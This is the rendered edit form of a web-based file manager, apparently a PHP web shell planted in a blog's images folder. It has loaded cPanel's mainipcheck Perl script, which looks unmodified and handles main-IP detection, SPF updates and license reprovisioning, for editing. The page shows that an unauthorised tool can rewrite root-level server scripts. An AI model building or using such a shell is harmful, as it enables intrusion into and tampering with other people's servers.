<h2>Edit File - mainipcheck</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/usr/local/cpanel/scripts/mainipcheck">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/mainipcheck                     Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

use strict;
use warnings;

package scripts::mainipcheck;

use Cpanel::IP::LocalCheck   ();
use Cpanel::IP::Loopback     ();
use Cpanel::Linux::RtNetlink ();
use Cpanel::LoadModule       ();
use Cpanel::Logger           ();
use Cpanel::NAT::Object      ();
use Cpanel::SafeRun::Object  ();
use Cpanel::FileUtils::Write ();
use Cpanel::LoadFile         ();
use Cpanel::DIp::LicensedIP  ();
use Cpanel::Exception        ();
use Socket                   ();

use Try::Tiny;

use Getopt::Long qw(GetOptionsFromArray);

our $MAINIP_FILE = &#039;/var/cpanel/mainip&#039;;

exit( __PACKAGE__-&gt;script( \@ARGV ) ) unless caller();

sub script {
    my ( $class, $argv ) = @_;

    my $remote_check;
    GetOptionsFromArray(
        $argv,
        &#039;remote-check&#039; =&gt; \$remote_check,
    ) if defined $argv and ref $argv eq &#039;ARRAY&#039;;

    my $logger = Cpanel::Logger-&gt;new();

    my $mainip_file_contents = eval { Cpanel::LoadFile::loadfile($MAINIP_FILE) // &#039;&#039; };
    my $mainip               = $mainip_file_contents =~ s/\s+//gr;
    my $myip_url             = Cpanel::DIp::LicensedIP::myip_url();
    my $cpIP                 = Cpanel::DIp::LicensedIP::get_license_ip($myip_url);
    my $default_route_ip;
    my $update_mainip      = $mainip ne $mainip_file_contents;    # Clean up formatting of the file if true
    my $mainip_file_exists = -e $MAINIP_FILE;                     # No sense in stat-ing the file twice like we used to in certain scenarioes

    # Needed for NAT awareness, is NO-OP on non-NAT to these values (thus local and public IP values would be the same on non-nat systems).
    my $NAT_obj      = Cpanel::NAT::Object-&gt;new();
    my $NAT_local_ip = $NAT_obj-&gt;get_local_ip($cpIP);

    if ($remote_check) {
        print &quot;$cpIP\n&quot;;
        return 0;
    }

    eval { $default_route_ip = get_ip_from_netlink() || get_ip_from_default_route(); };
    if ( my $error_message = $@ ) {
        chomp $error_message;
        $logger-&gt;warn(&quot;Encountered an error while determining the main IP from the default route: $error_message&quot;);
        ($mainip_file_exists) ? die &quot;/var/cpanel/mainip exists. Bailing out...&quot; : $logger-&gt;info(&quot;Proceeding with main IP check assuming that the IP address from $myip_url is the main IP address.&quot;);
        $default_route_ip = $mainip;    # XXX Should we keep going even here? I&#039;m not sure.
    }
    my $NAT_public_ip = $NAT_obj-&gt;get_public_ip($default_route_ip);

    my $canonical_main_ip = $default_route_ip || $NAT_local_ip;
    if ( !$mainip_file_exists ) {
        $update_mainip = 1;             # I&#039;m somewhat curious as to whether we&#039;d wanna update SPF records here too, honestly.
    }
    elsif ( $canonical_main_ip ne $mainip ) {
        $update_mainip = 1;
        $logger-&gt;info(&quot;The Server&#039;s main IP address has changed from $mainip to $canonical_main_ip.&quot;);

        # At one point, the below condition turned $default_route_ip into $cpIP, causing logger warns to actually get suppressed
        # when they would normally be spuriously reported for NATted systems.
        # This is because all the check for the logger warn below used to be if $default_route_ip ne $cpIP.
        # This would never be true when we had to update the mainip previously.
        if ( !Cpanel::IP::LocalCheck::ip_is_on_local_server($cpIP) ) {
            $logger-&gt;warn(&quot;$cpIP is not bound to an interface on the system! Please verify your network configuration.&quot;);

            # This can trigger pretty trivially on NAT setups if your cpnat configuration is not built or in fact insane.
            # Just make /var/cpanel/cpnat contain non-ip strings as if they were a key=&gt;value nat IP pair separated
            # by spaces if you want to see this in action.
        }

        # Ensure the license system has what it needs? Not sure how it gets the updated mainip or if it even needs it?
        _reprovision_license_authn();

        require Cpanel::ServerTasks;

        # Update SPF records, as we&#039;ve changed to a new mainip
        Cpanel::ServerTasks::schedule_task( [&#039;SPFTasks&#039;], 5, &#039;update_all_users_spf_records&#039; );
        $logger-&gt;info(&quot;Scheduled SPF record update&quot;);
    }

    if ($update_mainip) {
        Cpanel::FileUtils::Write::overwrite( $MAINIP_FILE, $canonical_main_ip, 0644 );
    }

    if ( !$NAT_obj-&gt;enabled &amp;&amp; $default_route_ip ne $cpIP ) {
        $logger-&gt;warn(&quot;$myip_url detects system IP as $cpIP and system local IP detected as $default_route_ip. Please verify your network configuration.&quot;);
    }
    elsif ( $NAT_obj-&gt;enabled &amp;&amp; $NAT_public_ip ne $cpIP &amp;&amp; $NAT_local_ip ne $default_route_ip ) {

        # Entertaingly enough, in this instance, $NAT_local_ip always equals $cpIP and vice versa. Conveniently enough, it also catches all invalid NAT configs.
        $logger-&gt;warn(&quot;$myip_url detects a system IP address of $cpIP and system local IP address of $default_route_ip.&quot;);
        $logger-&gt;warn(&quot;This looks like a NAT setup, but these IP addresses do not correspond to values listed in /var/cpanel/cpnat.&quot;);
        $logger-&gt;info(&quot;The system will now rebuild your cpnat configuration to ensure system sanity.&quot;);
        _system(&#039;/usr/local/cpanel/scripts/build_cpnat&#039;);
    }

    return 0;
}

# For mocking in tests -- don&#039;t remove the &#039;uncoverable&#039; comments below, as this impacts Devel::Cover reporting.
sub _system {

    # uncoverable subroutine
    return system @_;    # uncoverable statement
}

# Pick a testing IP and see how the kernel proposes routing it, then look up and return the source address which would be used.
sub get_ip_from_netlink {
    my $TEST_IP   = &#039;208.74.123.2&#039;;    # TODO: Better way of picking an IP with high probability of not being routed specially?
    my $result_ip = &#039;&#039;;

    try {
        my $routes_ar = Cpanel::Linux::RtNetlink::get_route_to( &#039;AF_INET&#039;, $TEST_IP );
        foreach my $route_info_hr (@$routes_ar) {
            if ( defined $route_info_hr-&gt;{&#039;rta_dst&#039;} &amp;&amp; $route_info_hr-&gt;{&#039;rta_dst&#039;} eq $TEST_IP ) {
                $result_ip = $route_info_hr-&gt;{&#039;rta_prefsrc&#039;};
                last;
            }
        }
    }
    catch {
        Cpanel::Logger-&gt;new()-&gt;warn( &#039;Failed to retrieve IP via Netlink: &#039; . Cpanel::Exception::get_string_no_id($_) . &quot;\nFalling back to reading /proc/net/route.&quot; );
    };

    return $result_ip;
}

# Get interface associated with default route and use socket() to get IP
sub get_ip_from_default_route {
    my $proc_route_path = shift || &#039;/proc/net/route&#039;;    # For unit testing, mostly
    my %interfaces;

    if ( open my $proc_fh, &#039;&lt;&#039;, $proc_route_path ) {
        while ( my $line = readline $proc_fh ) {
            chomp $line;
            if ( $line =~ m/^(.+?)\s*0{8}\s.*?(\d+)\s+0{8}\s*(?:\d+\s*){3}$/ ) {
                my ( $interface, $metric ) = ( $1, $2 );
                push @{ $interfaces{$metric} }, $interface;
            }
        }
        close($proc_fh);
    }
    else {
        die(&quot;Unable to open $proc_route_path: $!&quot;);
    }

    my $lowest_metric = ( sort keys %interfaces )[0];
    my $interface     = $interfaces{$lowest_metric}[0];
    my $ip            = get_ip_from_interface($interface);

    # VPS issues
    if ( Cpanel::IP::Loopback::is_loopback($ip) &amp;&amp; $interface =~ /^venet0?$/ ) {
        return get_ip_from_interface(&#039;venet0:0&#039;);
    }

    return $ip;
}

sub get_ip_from_interface {
    my $interface   = shift;
    my $SIOCGIFADDR = 0x8915;
    my $proto       = getprotobyname(&#039;ip&#039;);
    socket( my $socket_fh, &amp;Socket::PF_INET, &amp;Socket::SOCK_DGRAM, $proto ) or die(&quot;Socket error: $!&quot;);

    # struct ifreq is 16 bytes of name, null-padded, followed by 16 bytes of answer.
    my $ifreq = pack( &#039;a32&#039;, $interface );
    ioctl( $socket_fh, $SIOCGIFADDR, $ifreq ) or die(&quot;Error in ioctl: $!&quot;);
    my ( $if,   $sin )  = unpack( &#039;a16 a16&#039;, $ifreq );
    my ( $port, $addr ) = Socket::sockaddr_in($sin);
    my $ip;
    foreach my $family ( &amp;Socket::AF_INET, &amp;Socket::AF_INET6 ) {
        last if $ip;

        # Generally we&#039;ll favor ipv4 addresses over ipv6, but we should use the v6 if it is the only one available.
        $ip = Socket::inet_ntop( $family, $addr );
    }
    return $ip;
}

sub _reprovision_license_authn {

    Cpanel::LoadModule::load_perl_module(&#039;Cpanel::Market&#039;);
    Cpanel::Market::set_cpstore_is_in_sync_flag(0);
    #
    # This will cause the system to get new LicenseAuthn
    # credentials so we can connect to various cPanel systems
    # that require license-based authentication.
    #
    my $run = Cpanel::SafeRun::Object-&gt;new( &#039;program&#039; =&gt; &#039;/usr/local/cpanel/cpkeyclt&#039; );
    warn $run-&gt;autopsy() if $run-&gt;CHILD_ERROR;

    #
    #  cpkeyclt will auto re-provision on the second run
    #  if the id changes
    #
    $run = Cpanel::SafeRun::Object-&gt;new(
        &#039;program&#039; =&gt; &#039;/usr/local/cpanel/scripts/try-later&#039;,
        &#039;args&#039;    =&gt; [
            &#039;--action&#039;,      &#039;/usr/local/cpanel/cpkeyclt --quiet&#039;,
            &#039;--check&#039;,       &#039;/bin/sh -c exit 1&#039;,
            &#039;--delay&#039;,       11,                                     # We only allow updates every 10 minutes so wait 11
            &#039;--max-retries&#039;, 1,
            &#039;--skip-first&#039;
        ]
    );
    warn $run-&gt;autopsy() if $run-&gt;CHILD_ERROR;

    #
    #  If they changed the ip for the license in manage2 they keep the
    #  same liscid so we need to check after the license update has
    #  happened the second time
    #
    $run = Cpanel::SafeRun::Object-&gt;new(
        &#039;program&#039; =&gt; &#039;/usr/local/cpanel/scripts/try-later&#039;,
        &#039;args&#039;    =&gt; [
            &#039;--action&#039;,      &#039;/usr/local/cpanel/bin/check_cpstore_in_sync_with_local_storage&#039;,
            &#039;--check&#039;,       &#039;/bin/sh -c exit 1&#039;,
            &#039;--delay&#039;,       15,                                                                 # Must happen after the second license update
            &#039;--max-retries&#039;, 1,
            &#039;--skip-first&#039;
        ]
    );
    warn $run-&gt;autopsy() if $run-&gt;CHILD_ERROR;

    return 1;

}
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>